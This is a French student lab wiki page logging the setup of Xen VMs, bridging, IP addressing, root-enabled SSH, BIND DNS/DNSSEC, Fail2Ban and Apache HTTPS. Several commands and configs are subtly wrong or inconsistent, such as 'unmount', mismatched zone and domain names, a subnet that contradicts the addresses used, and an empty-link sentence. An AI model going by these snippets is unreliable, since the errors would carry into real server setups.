&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12111</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12111"/>
		<updated>2026-02-07T17:46:24Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Génération des clés */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv6|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette|center|900px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/rs7.dnssec# ls&lt;br /&gt;
Krs7.+013+14689.key	 Krs7.+013+57317.private  rs7.online-ksk.private&lt;br /&gt;
Krs7.+013+14689.private  Krs7.+013+57317.state	  rs7.online-zsk.key&lt;br /&gt;
Krs7.+013+14689.state	 dsset-rs7.		  rs7.online-zsk.private&lt;br /&gt;
Krs7.+013+57317.key	 rs7.online-ksk.key&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
